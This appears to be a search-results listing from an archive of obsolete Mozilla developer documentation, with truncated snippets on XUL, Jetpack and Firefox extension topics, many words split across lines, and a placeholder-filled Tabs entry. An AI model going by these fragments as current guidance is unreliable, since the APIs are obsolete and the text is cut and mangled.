revious section, each entry in the preferences database (prefs.js) must have a string, an integer, or a boolean value. however, there is a concept of complex types, which makes it easier for developers to save and load nsilocalfile and nsisupportsstring objects in preferences (as strings — note that from the preferences system's point of view, complex values have a nsiprefbranch.pref_string type.) ...
...e observing (after appropriate qi) // adata is the name of the pref that's been changed (relative to asubject) switch (adata) { case "pref1": // extensions.myextension.pref1 was changed break; case "pref2": // extensions.myextension.pref2 was changed break; } } } myprefobserver.register(); and next, here is a more evolved version of the p
revious code better fit for code reuse both within a project and across projects (for example, using javascript code modules): /** * @constructor * * @param {string} branch_name * @param {function} callback must have the following arguments: * branch, pref_leaf_name */ function preflistener(branch_name, callback) { // keeping a reference to the observed preference branch or it will get /...
Rosetta - Archive of obsolete content
ed under the gnu public license, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the p
revious code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\". "); if (!odicts.hasownproperty(smimetype)) { alert("rosetta.translatescript() \u2013 unknown mime-type \"" + smimetype + "\": script ignored."); return; } var ocompiled = document.createelement("script"); oscript.parentnode.insertbefore(obaton, oscript); oscript.parentno...
...cript type="text/javascript"> rosetta.translateall(); </script> </body> </html> example.c: c example #include <stdio.h> int main () { printf("hello world number 2!\n"); return 0; } if creating a compiler for the c programming language, as in the example above, can really look a huge task, there are many dialects of ecmascript which could be easily translated to standard ecmascript. the p
revious example shows a possible solution for all these cases, from the simplest to the hardest one. mime types here is a short list of the mime types associated to some programming languages: language mime type bash text/x-shellscript java text/x-java-source c text/x-c, text/x-csrc c++ text/x-c++, text/x-c++src python tex...
StringView - Archive of obsolete content
|*| http://www.gnu.org/licenses/lgpl-3.0.html |*| \*/ function stringview (vinput, sencoding...
...well, just include stringview.js to your scope and work on them in another script: /* a constructor of c-like regular expression objects... */ function clikeregexp...
Common Pitfalls - Archive of obsolete content
the first couple of items deal with loading content from a uri. it's important to create the uri correctly, and then check that it's secure to load. this will shield you from loading <tt>javascript:</tt> or <tt>chrome:</tt> uris when you shouldn't. ...
... the first couple of items deal with loading content from a uri. it's important to create the uri correctly, and then check that it's secure to load. this will shield you from loading <tt>javascript:</tt> or <tt>chrome:</tt> uris when you shouldn't. ...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
r, i wouldn't even bother. stick to javascript. on windows platforms the first time i built mozilla i used this guide. i can't even remember why anymore, but i got stuck in a number of places, and the whole affair ended up taking far longer than i originally expected. much furniture was smashed, much hair torn out by the roots. here's a comprehensive looking guide that's gotten good
reviews. follow every step methodically and you'll probably be alright. focus on the fact that once you get the build working, it'll probably work effortlessly from then on. maybe. on other platforms on other platforms, namely linux and macos, the process is much easier. all the tools for building are available built-in, and therefore all you have to do is run some commands in the termi...
...have any additional linking dependencies. otherwise you will have to link statically to your module if you use these public headers in other modules. personally i would discourage this practice (among other things, static linking means the same code gets loaded more than once into memory, and the code won't be available from javascript or other non-c++ languages) and encourage the use of xpcom whe
rever possible. the makefile in the public/ directory should follow this model: depth = ../../.. topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk module = myextension xpidl_module = myextension xpi_name = myextension exports = \ myheader.h \ $(null) xpidlsrcs = \ myifirstcomponent.idl \ myisecondcomponent.idl \...
Extension Etiquette - Archive of obsolete content
naming conflicts are best avoided by simply not sharing namespaces. scripts can be loaded into their own globals, such as commonjs modules, javascript modules, or sandboxes, to avoid most global variable and prototype conflicts. expando properties are best avoided using tools such as weakmaps. prefix names in shared namespaces when shared namespaces can't be avoided, the simplest solution to p
revent conflicts is to use a distinct prefix for all of your names. class names for html elements created by the cool beans extension, for instance, might all be prefixed with cool-beans-. global variables might all be defined as properties of the coolbeans object. some namespaces have specific conflict p
revention conventions, which should be followed as appropriate. xpcom contract ids, for instanc...
...you use be unlikely to conflict with other code, and that it be indicative of the name of your add-on. generic prefixes such as myextension-, or short prefixes such as ffx-, are likely to be used elsewhere, and therefore unsuitable to the purpose. call .noconflict(true) where applicable many common libraries which create global variables provide a method called noconflict, or similar, which
revert any global variables they've declared, and return the object itself. for instance, calling jquery.noconflict(true) will remove the window.jquery and window.$ variables, and return the jquery object itself, for future use by the caller. when available, these methods should always be used to p
revent conflicts with third-party code. names and metadata naming be creative! don't be redundan...
Jetpack Processes - Archive of obsolete content
s of each receiver in the chrome process that was triggered by the message. registerreceiver(amessagename, areceiver) similar to nsijetpack.registerreceiver(), this function registers a callback that is triggered when the chrome process sends a message with the given name. unregisterreceiver(amessagename, areceiver) similar to nsijetpack.unregisterreceiver(), this function unregisters a callback p
reviously registered with registerreceiver(). unregisterreceivers(amessagename) similar to nsijetpack.unregisterreceivers(), this function unregisters all callbacks for the given message name. createhandle() similar to nsijetpack.createhandle(), this function creates a new handle and returns it. createsandbox() this creates a new javascript sandbox and returns its global scope. this global scope does...
...script interpreter's garbage collector, meaning that even if a process throws it away, it will not be garbage collected unless the other process explicitly does something to indicate that it is no longer needed. if that other process does not do something explicit and simply removes all references to it, the handle remains rooted yet unreachable in both processes and a memory leak is created. to p
revent such memory leaks, a process can either invalidate a handle, immediately p
reventing it from being passed as a message argument, or it can unroot the handle, allowing it to be passed as a message argument until all references to it are removed, at which point it is garbage collected. handles have the following native methods and properties: invalidate() invalidates the handle. either process m...
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
matsuzawa-san is a co-author of firefox 3 hacks (o'reilly japan, 2008.) this chapter discusses tools to assist in developing extensions. tools for extension developers fixme: are we sure we'll talking about venkman since it's not well maintained fixme: we maybe should talk about firebug and chromebug fixme: and what about console 2 and docked-js console? venkman, the javascript debugger venkman is a full-fledged javascript debugger that runs inside firefox. ...
...ui server: gonzui-server.exe now you can access gonzui from your web browser by typing the following into your location bar : http://localhost:46984 this lets you browse all packages, click on links to traverse them, and take traversed-link locations as search starting points (figure a). fixme: figure a: gonzui 1 - http://quicknote.mozdev.org 2 - http://www5f.biglobe.ne.jp/~t-susumu/ 3 -
reverse-polish notation. a way to represent arithmetic formulas. for example, (1+2)*(3-4) would be represented in rpn as 1 2 + 3 4 - * it uses no parentheses. it is also easy to program. 4 - gonzui does not handle search strings with spaces very well; instead, go to the advanced search page, search on a few terms, and then use your browser’s find function to search for the “:” character. 5 - ...
Chapter 1: Introduction to Extensions - Archive of obsolete content
this document was authored by hideyuki emura and was originally published in japanese for the firefox developers conference summer 2007. emura-san is a co-author of firefox 3 hacks (o'reilly japan, 2008.) introduction if you're reading this guide, you’ve probably used firefox before. perhaps the first time you looked at firefox, you may have been surprised to see that it has a much simpler structure than other full-featured browsers, such as opera or safari. ...
..., are a kind of add-on. ...
Adding Events and Commands - Archive of obsolete content
the most commonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here. window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload event, to do any cleanup you may need. please read appendix a for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on firefox. ...
...r ui can easily scale this way. you can create an extension that adds toolbar buttons, statusbar buttons and menu items, all with equivalent behavior, and without having to repeat lots of xul code in the process. commands and broadcasters also facilitate working with complex form windows and dialogs. you should always keep them in mind when adding the event-driven code for your extension. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Adding sidebars - Archive of obsolete content
sidebars take as much space as the user wants them to, and provide a frame where you can add elaborate data and controls. you're probably familiar with the bookmarks and history sidebars. if not, you can open either one from the view > sidebar menu. they also have shortcuts to open or close them using the keyboard. the code required to add a sidebar is very simple, as explained in creating a firefox sidebar. it's even simpler than that. all you need is to overlay the view sidebar menu. ...
...oluted, which is why trees are better used along with templates. this topic will be covered later when we look at different kinds of datasources and templates. adding style to a tree can also be challenging, which is why there's a guide specifically covering how to style a tree. looking at the bookmarks and history sidebars should make it clear that trees are quite customizable with css. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Adding windows and dialogs - Archive of obsolete content
window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window. if this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want. the window.open page has a detailed description of the features you can use and their values. the following features are very important and you should always keep them in mind: chrome. ...
...bing behavior, you can set the tabindex attribute in the controls. you can also use the focus function to focus an element depending on events such as window load. you should do this carefully, to avoid having inaccessible controls. you can also use the -moz-user-focus css property to enable focusing of elements that typically wouldn't receive focus. again, this should be used sparingly. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Appendix D: Loading Scripts - Archive of obsolete content
f means to dynamically load and execute javascript files. each of these means has its own advantages and disadvantages, as well as its own quirks which may trap the unwary. below is an overview of the more common means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases. the examples below which make use of the services global assume that you're p
reviously imported the services.jsm module. as this module only exists on firefox 4 and other gecko 2-based platforms, the services in question will have to be manually loaded on other platforms. <script> tags xul script tags are traditionally the primary means of loading scripts for extension developers. these tags are generally inserted into xul overlay files or other xul documents, after whi...
...th a specified privilege level rather than full chrome privileges. beyond this, the scope of the sandbox can be augmented or rarified to add or remove privileges as necessary. under ordinary circumstances, native objects passed out of sandboxes are wrapped in xraywrapper objects, which means that only native properties of these objects are directly exposed to privileged code. this behavior can be
reversed by setting the wantsxrays parameter to false when constructing the sandbox. disadvantages performance: there are several significant performance disadvantages inherent in this method: there is currently no way to load code into sandboxes from a cache. this means that code must be compiled and executed anew each time it is loaded, which has a significant overhead for large code ba...
Getting Started with Firefox Extensions - Archive of obsolete content
they can add anything from a toolbar button to a completely new feature. they allow the application to be customized to fit the personal needs of each user if they need additional features, while keeping the applications small to download. taken from the extensions page. as described in the quoted text, an extension is a small application that adds something new to one or more mozilla applications. this tutorial focuses on extensions for firefox, but the same (or very similar) principles apply to creating extensions for other applications such as thunderbird, seamonkey, and flock. ...
... ...
The Essentials of an Extension - Archive of obsolete content
now we'll look into its files and code, starting with the install.rdf file. you can open it with any text editor. the file is formatted in a special flavor of xml called rdf. rdf used to be the central storage mechanism for firefox, but it is now being replaced for a simpler database system. we'll discuss both of these storage systems further ahead in the tutorial. now let's look at the important parts of the file. <em:id>helloworld@xulschool.com</em:id> this is the unique identifier for the extension. firefox needs this to distinguish your extension from other extensions, so it is required that you have an id that is unique. ...
...nd directories should be at the root level of your archive. if you zip the containing folder, your extension will not load. note that the tools menu is hidden by default on firefox 4 and above, on windows and some linux distributions. check menu bar under the options menu of the firefox menu button to enable it. once you're done, you can look at this reference solution: hello world 2. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Using the Stylesheet Service - Archive of obsolete content
var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.in...
...rvice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("chrome://myext/content/myext.css", null, null); if(!sss.sheetregistered(uri, sss.user_sheet)) sss.loadandregistersheet(uri, sss.user_sheet); removing a p
reviously registered stylesheet if you wish to remove a stylesheet that you p
reviously registered, simply use the unregistersheet method. var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var u = ios.newuri("chrome://myext/content/myext.css",...
Search Extension Tutorial (Draft) - Archive of obsolete content
as described below: // this is a localizable preference, so it must contain a url which // points at a properties file containing the preference name as a // property. we use a data: url for simplicity. pref("browser.search.defaultenginename", "data:text/plain,browser.search.defaultenginename=example engine"); in the case or restartless extensions, the preferences need to be changed manually, and
reverted when the extension is disabled if they have not been changed in the meantime. while changes to default preference values will not persist across sessions, restartless extensions must nevertheless restore them for the balance of the session after they have been disabled. the following example bootstrap.js file illustrates the method: const { classes: cc, interfaces: ci, utils: cu, results: cr...
...adding a new search engine search engines may be added either directly via an api call, or indirectly via an xml description file. while the former is the simpler method, it does not support complex descriptions containing suggestion urls or separate keyword search urls. note: example uninstall code is only provided for restartless extensions. a se...
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
esign manager at lycos for the last two years, i've been creating and documenting design standards for our network of sites. this includes rules and guidelines applying to everything from headers, footers, page hierarchy, titles, typography, iconography, navigation, and others. so i'm very familiar with standards and the benefits of using them. with the wired news design process, the scenario was
reversed. as i was designing the product, i began discovering a broader set of web standards, and was quickly swayed by the advantages i could see if we were to adopt them. it was a no-brainer to us that wired news was a perfect candidate for the total conversion to xhtml and css. the content of the site tells the story of how technology affects our daily lives, especially in the realms of business,...
... important decisions. our ad-serving partner basically requires that we use iframes to dynamically pull in ads from available inventory. because of the iframe, we backed off of the idea that we'd be able to adhere to xhtml strict rules, and settled for using the xhtml transitional dtd. we were hoping to go all the way with the xhtml conversion, but our ad units and some other third-party content p
revent us from doing so. our engineers also faced a huge archive of content that wasn't entered into our cms with xhtml in mind. it's true that our stories exist in a database, separated from page templates and peripheral formatting. but writers, editors, and producers have been inserting stories into vignette for years sans closing paragraph (</p>) tags. unquoted attributes and uppercase html tags?
Index of archived content - Archive of obsolete content
tamarin acceptance test template actionscript performance tests cmdline tests running tamarin acceptance tests running tamarin performance tests tamarin build system documentation tamarin releases tamarin-central
rev 703:2cee46be9ce0 tamarin roadmap tamarin build documentation tamarin mercurial commit hook the download manager schema the life of an html http request the new nsstring class implementation (1999) tracevis transforming xml with xslt:mozilla xslt transfo...
... displaying a graphic with audio samples fixing incorrectly sized list item markers fixing table inheritance in quirks mode issues arising from arbitrary-element hover mozilla's doctype sniffing parsing microformats in javascript popup window controls rdf in fifty words or less rdf in mozilla faq styling abb
reviations and acronyms the business benefits of web standards using the right markup to invoke plugins windows media in netscape xquery xul booster xul parser in python input archive ...
Adding the structure - Archive of obsolete content
to implement this ui, we'll add a statusbarpanel element to the statusbar element in the navigator.xul file. ...
... css rules that change the appearance of the icon depending on the value of that attribute. all xul elements can be given custom attributes in addition to the ones the xul rendering engine recognizes which get ignored by the engine, so adding this custom attribute does not create any problems or modify the way the widget is displayed (except for the ways we explicitly specify with css). « p
reviousnext » ...
Conclusion - Archive of obsolete content
mozilla will automatically detect that the file is an installer and ask you if you want to install the software. try installing the extension, restarting mozilla, and see if it works. if the version you created in this tutorial doesn't work, compare it to this working version to help figure out the problem. future directions for development of the tutorial and/or coursework: in addition to build status, tinderbox also tells you if the cvs tree is open or closed for check-ins. ...
...e branch. ...
Enabling the behavior - updating the status bar panel - Archive of obsolete content
ferences. the color red (represented by the rgb code ee0000) means a tinderbox client failed to build mozilla. the color orange ("ffaaoo") means a client successfully built mozilla, but the build failed tests. ...
...") means the client successfully built and tested mozilla. when it finds a color, it sets the panel's status attribute to the corresponding status, which causes the p
reviously defined css rules to switch to the icon appropriate for that status. ...
Making it into a static overlay - Archive of obsolete content
derstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> tinderstatusoverlay.xul starts with an xml processing instruction that identifies the file as xml (all xul files need to include this). its next line is the stylesheet reference we p
reviously added to navigator.xul. after that is a xul overlay element. this element is the top-level element in a xul overlay file and serves to identify the file as an overlay. within that element is the script reference we p
reviously added to navigator.xul. then there is a statusbar element containing a statusbarpanel element. the value of the id attribute of the statusbar element in our overlay ma...
... id="statusbar-icon" mode="normal" value="0"/> </statusbarpanel> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" status="none"/> <statusbarpanel class="statusbarpanel-iconic" id="offline-status"/> <statusbarpanel class="statusbarpanel-iconic" id="security-button" onclick="browserpageinfo(null, 'securitytab')"/> </statusbar> ... « p
reviousnext » ...
Tinderbox - Archive of obsolete content
tinderbox is a web tool for tracking the status of the mozilla source code. it consists of a set of client machines that continuously build and test mozilla and report their results back to a server that makes those results available via a web page. the tool enables mozilla.org to be immediately notified of changes to the code that p
revent mozilla from compiling and running (or compromise performance and footprint) so they can get someone to fix the problem or
reverse the changes. mozilla engineers regularly check tinderbox before changing the code because changes are prohibited while the codebase is broken. the mozilla sheriff, a rotating position responsible for watching the code and getting engineers to fix breakage, checks tinderbox even more regularly. while it isn't difficult to...
...e worst possible situation, i.e. ...
Getting Started - Archive of obsolete content
ew directory called my_theme. create a directory called chrome inside it. into this directory put a zip archive called my_theme.jar containing navigator, global, communicator, editor, help, messenger, messenger-newsblog and mozapps directories from above. (yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files icon.png and p
review.png these are some png images containing the icon and the p
review of the theme. chrome.manifest make a copy of chrome.manifest and place it in \my_theme and open it up in your text editor. this file is a small manifest file which is used to describe the skin. in the code search for all instances of "my_theme" and replace them with the name of your theme. the packages section lists which compon...
...once you have put the files in the zip folder, rename it to myskin.jar triggering the install from the web to install the theme's jar file directly from the web, you need to run some javascript. <a href='javascript:installtrigger.
Creating a Microsummary - Archive of obsolete content
r for the spread firefox home page that displays the current firefox download count along with the label fx downloads; for example: 174475447 fx downloads. we'll build the xslt transform sheet that converts that page into its microsummary, learn how to specify that the generator applies to that page, and find out how to make the generator available for download and installation. in each step of
revising the transform sheet and other code in this tutorial, new material added will be shown in boldface so you can follow along more easily. note: if you are a web site developer, and you want to create microsummaries for pages on your site, you can write generators to do so, but a simpler and more efficient approach is to create the microsummaries on the server-side using the same tools and lang...
...ake a generator apply to a page, add an <include> element whose content is a regular expression matching the page. to make the generator not apply to a page, add an <exclude> element whose content is a regular expression matching the page. by default, generators don't apply to any page, so you have to explicitly list the pages they apply to, and you don't have to exclude any pages unless you've p
reviously included them. add an <include> element matching the spread firefox home page: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> <template match="/"> <value-of select="id('downlo...
In-Depth - Archive of obsolete content
a footer. -moz-box-direction controls which way the items in this box are displayed. normal in english web browsers items are displayed top to bottom and left to right. this will flip it around so items inside of this box will be displayed bottom to top and right to left. this is useful for, say, putting the navigation controls (back button) on the right hand side of the toolbar. values: normal,
reverse -moz-image-region this is useful for dividing up an image into multiple smaller images. it uses a rect() object to determine the clipping region. check out the section on organizing images for more information. example: -moz-image-region: rect(168px 69px 189px 46px); -moz-opacity makes boxes semi-transparent. it takes a decimal value, 0.00 is invisible and 1.00 is totally visible. how do i k...
... it says that the file is located in chrome://navigator/skin/. this is a small problem with the display in mozilla 1.2 what it means is \navigator\navigator.css (most of the time it displays the file correctly, but sometimes, like in this case, it does not). go into \myskin\navigator and load navigator.css. you'll notice that the .toolbar-1 class is located here. now you can point the image to whe
rever you like. the image that is listed there by default (chrome://navigator/skin/icons/btn1.gif) is actually a bunch of images grouped together in one file, so somewhere one of the css attributes is telling it what portion of the larger image to cut out and display. if you go back into the dom inspector and look at the rule column again, you'll see the #back-button id. select that one and it lists ...
Installing Dehydra - Archive of obsolete content
requisites mercurial 1.0 is needed to access source repositories. make sure that the mq extension is enabled. spidermonkey provides scripting capabilities for dehydra. gcc 4.5, with the package gcc-4.5-plugin-dev installed. (alternately, build from source) a modern linux distribution. dehydra is not supported on mac os x. building spidermonkey it is recommended that you use spidermonkey
revision aurora_base_20110705 when building dehydra. cd $home hg clone http://hg.mozilla.org/mozilla-central/ cd mozilla-central hg update aurora_base_20110705 cd js/src autoconf-2.13 mkdir $home/obj-js cd $home/obj-js $home/mozilla-central/js/src/configure --enable-optimize --disable-debug make it has to be checked whether later/newer branches (like aurora_base_20120131) are working, too. please al...
...t https://bug559964.bugzilla.mozilla.o....cgi?id=457606 -o finish_decl.diff cd gcc-4.5.3 patch -p0 < ../finish_decl.diff # build gcc cd .. mkdir gcc-objdir mkdir gcc-dist cd gcc-objdir ../gcc-4.5.3/configure --disable-bootstrap --enable-languages=c,c++ --prefix=$pwd/../gcc-dist make make install building dehydra and treehydra building dehydra requires spidermonkey development headers from the p
revious step. cxx should point to your copy of gcc 4.5. it is recommended to get the latest dehydra sources by checking out from mercurial. (obsolete dehydra releases can be found on the mozilla ftp site.) hg clone http://hg.mozilla.org/rewriting-and-analysis/dehydra/ cd dehydra export cxx=/usr/bin/g++ ./configure \ --js-headers=$home/obj-js/dist/include \ --js-libs=$home/obj-js make # run deh...
Drag and Drop Example - Archive of obsolete content
an example of implementing drag and drop will be implemented in this section. dragging elements around here, we'll create a simple board where items from a palette can be dragged onto the board. the user can click on one of several xul elements on the palette and drag it onto a stack element to create an element of a particular type. first, we'll add the wrapper scripts: <script src="chrome://global/content/nsdraganddrop.js"/> <script src="chrome://global/content/nstransferable.js"/> <script src="dragboard.js"/> an additional script file dragboard.js is included which will contain the code we will write ourselves. the board will be created using a stack element. ...
... ondragover: function (event, flavour, session) {}, ondrop: function (event, dropdata, session) { if (dropdata.data != "") { var elem = document.createelement(dropdata.data); event.target.appendchild(elem); elem.setattribute("left", "" + event.pagex); elem.setattribute("top", "" + event.pagey); elem.setattribute("label", dropdata.data); } } }; « p
revious original document information author(s): neil deakin original document: http://xulplanet.com/tutorials/mozsdk/dragex.php copyright information: copyright (c) neil deakin ...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
this section describes how to use the javascript wrapper for drag and drop. the javascript drag and drop wrapper the javascript wrapper to drag and drop simplifies the process by handling all of the xpcom interfaces for you. it works by providing an object which implements the event handlers. all you have to do is write some simpler functions which work with the data being dragged. this drag and drop interface is stored in the global package, in the file chrome://global/content/nsdraganddrop.js. you can include this file in your xul file with the script tag in the same way you would include your own scripts. ...
...ple objects of various types to be dragged at once and also allows alternative forms of the data to be dragged. the following table describes some of the flavours you might use. ...
Layout FAQ - Archive of obsolete content
nges? on the reflow branch you could check the dirty and dirty_children framestate flags. that won't help with pending style changes, but it'll work to detect cases when the popup or something in it needs to be reflown. ...
... firefox involving a two column layout using display:table and floating div elements? this is a bug in firefox. you can work around it by removing display:table in the style rule with the "#main" selector or adding clear:both to it. why does move movement disappear when i use mouse events to click and drag? since the dragging action is involved, you might need to disable it. try using event.p
reventdefault() what is the purpose of the ns_lossyconvertucs2toascii() function? this function converts an nsastring to an nsacstring by assuming that all the 16-bit units are ascii and just dropping the high byte on them all. ...
Repackaging Firefox - Archive of obsolete content
stall the repackager tool like you would any mac application. make sure it starts up and launches the gui. put together your extension that customizes firefox. the distro extension all the changes you will want to make (for example, changing the default homepage or adding default bookmarks) can be encapsulated into a firefox extension. we call this extension a "distro extension" (sometimes abb
reviated as "dex"), because it is used to create a new "distribution" of firefox, with different branding, etc. using an extension makes it far easier to keep track of your changes easily when the time comes to upgrade to new versions of firefox, and also ensures, when set-up correctly, that users are able to safely receive firefox updates from mozilla. more about this below. while the aim of this a...
...lick the "choose" button to select the xpi file containing your extension; the id and name fields will be filled out automatically. when repacking firefox 2.0.0.3 or lower, be sure to download the latest version of the repackager, which has an additional checkbox in this section to disable the migration wizard at startup. check this if the homepage needs to be different from the default to p
revent the migration wizard from overwriting it. the "additional xpi" section lets you select a second extension to bundle into your customized installer. if you don't wish to install a second extension, you can leave this blank. the "repackaging" section is where you configure the actual repackaging job itself. first, set the source directory by clicking its "choose" button. the source ...
Introducing the Audio API extension - Archive of obsolete content
floats) time: timestamp for these samples measured from the start in seconds the framebuffer contains an array of audio samples. it's important to note that the samples are not separated by channels; they are all delivered together. for example, for a two-channel signal: channel1-sample1 channel2-sample1 channel1-sample2 channel2-sample2 channel1-sample3 channel2-sample3. ...
...r example, for a two-channel signal: channel1-sample1 channel2-sample1 channel1-sample2 channel2-sample2 channel1-sample3 channel2-sample3. ...
Tabs - Archive of obsolete content
documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! in this class you can find information about the tabs in your firefox window. the namespace for this class is jetpack.tabs. blah(lengthstringfocusedstringtostringstringpopstringpushstring
reversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring
reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. m...
...ing
reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. methods open(urlstring)opens a new tab in your browser with a defined url. urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); blah(lengthstringfocusedstringtostringstringpopstringpushstring
reversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring
reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. ...
Mozilla Crypto FAQ - Archive of obsolete content
and related legal issues it did not originally contain code for rsa or other cryptographic algorithms. on september 6, 2000, rsa security released the rsa patent into the public domain, two weeks before the patent was scheduled to expire (on september 20, 2000). shortly thereafter the nss developers began work on an open source implementation of the rsa algorithm; that code, together with code p
reviously developed for other cryptographic algorithms, will be included in a new version 3.1 of the nss open source cryptographic and pki library. this new rsa-capable version of nss will then be included in a future version of the open source psm software, which will provide ssl support for mozilla. at that point both nss and psm will be completely buildable using the open source code available fr...
...e so licensed.) for more information see the mozilla public license and the gnu general public license. specific questions about licensing of the psm and nss source code should be directed to the netscape.public.mozilla.license newsgroup or the associated mozilla-license mailing list. will mozilla.org accept new contributions of crypto code? yes, as long as patent or other legal issues do not p
revent such code from being used by the general community of mozilla developers. new contributions of crypto code should also be
reviewed and approved by the appropriate mozilla module owners, just as with any other mozilla contributions. for more information about patents related to cryptographic algorithms and implementation techniques, see the questions relating to patents on cryptography in rsa ...
Proxy UI - Archive of obsolete content
ed all other "type" radio buttons are enabled, but not selected. "related" ui elements only two proxy modes have related ui. manual proxy is a list of proxy types that require a hostname and a port number. proxy autoconfiguration has a url field and a reload button. enabling and disabling related fields when a radio button is selected, the related ui elements are enabled (and editable). the p
reviously selected radio button becomes unselected, and the related ui of the p
revious button is disabled (and is not editable). saving changes click "ok" to save changes to prefs. click "cancel" to discard changes. the radio buttons do not map to the proxy type in order (due the evolution of the ui): proxy mode "network.proxy.type" no proxy (direct) network.proxy.type=0 auto-detect proxy se...
...etwork.proxy.type=4 manual proxy configuration (manual) network.proxy.type=1 automatic proxy configuration url (pac) network.proxy.type=2 manual manual allows the entry of a proxy server hostname name and server. the entries are on a per-protocol basis for: http, ssl (https), ftp, gopher. if configured, socks is used as a default: if the protocol was proxyable and did not match any of the p
revious protocols), then use socks. the socks version is selected by radio buttons: ( ) socks v4 ( ) socks v5 "no proxy for:" discussed in detail elsewhere... but should be noted that if you cut and paste from ie, the semi-colons are automatically converted to commas when you save changes (ff, tb, sm). automatic proxy configuration url supports a url (which is checked via urifixup) and a reload bu...
Supporting private browsing mode - Archive of obsolete content
ample. this lets you passively monitor for changes in private browsing status. var listener = new privatebrowsinglistener(); listener.watcher = { onenterprivatebrowsing : function() { // we have just entered private browsing mode! }, onexitprivatebrowsing : function() { // we have just left private browsing mode! } }; canceling shutting off private browsing mode extensions can p
revent private browsing mode from being shut off. an extension might wish to do this if it's currently in the middle of an operation that p
revents safely turning off private browsing (such as a database update operation, for example). to do this, simply watch for the private browsing private-browsing-cancel-vote notification with the subject "exit", and set its data field to true to cancel the oper...
...other considerations for extensions in some extensions, it's hard to decide whether the data retained by the extension should be written to disk in private browsing mode or not. in such a case, it is considered good practice for the extension to enable respecting the private browsing mode based on a preference specific to that ex...
The new nsString class implementation (1999) - Archive of obsolete content
t gecko. notably, nsstrings in api's will be discouraged in public api's. these api's will need to be rewritten using nsstrimpl references instead. as an alternative, programmers can pass nsistrings between modules. i18n issues another concern (mainly of the i18n team) has to do with the use of a 1-byte (ascii) nscstring at all. the i18n team correctly points out that that anarchy will p
revail if judicious control over their use is not mandated. the problem stems from assumptions that programmers make regarding ascii strings; the typical assumption being that they will never need to interoperate with code that assumes ucs2 strings. this assumption is nearly always wrong -- and will seriously hinder our ability to localize the source base. it is recognized that (ascii) nscstring's ar...
...ryagent : nsisupports { void* new(nsint32 asize)=0; //used for both alloc and realloc void* delete(void* aptr)=0; }; internationalization the new nsstrimpl/nsstring implementation addresses at least two of the primary concerns of our i18n team. first, nsstrimpl offers charset conversion hooks for use during construction, comparison and assignment. (these are stubbed out today awaiting their
review and implementation). second, they are concerned that programmers be p
revented from abusing the string classes in a number of ways. to wit: they want to ensure that the underlying buffers cannot be corrupted or altered erroneously they want to ensure that the appropriate set of conversion functions get applied they want some control over the usage pattern of strings, such that the 2-byte (u...
compareTo - Archive of obsolete content
in this object to the version information specified in the version parameter. method of installversion object syntax compareto ( installversion version); compareto ( string version); compareto ( int major, int minor, int release, int build); parameters the compareto method has the following parameters: maj the major version number. min minor version number.
rev revision number. bld build number. version an installversion object or a string representing version information in the format "4.1.2.1234". returns if the versions are the same, this method returns 0. if this version object represents a smaller (earlier) version than that represented by the version parameter, this method returns a negative number. otherwise, i...
...proceed to update ... } ...
toString - Archive of obsolete content
summary converts an installversion init object to a string. method of installversion object syntax string version = installversion.tostring ( initobj ); parameters the tostring method has the following parameter: initobj initobj is an installversion object whose init method has been called. returns the major, minor,
revision, and build numbers represented as a single string. ...
...r,
revision, and build numbers represented as a single string. the init() function can input the version number as a single string or as a series of parameters representing the version numbers of the installation. ...
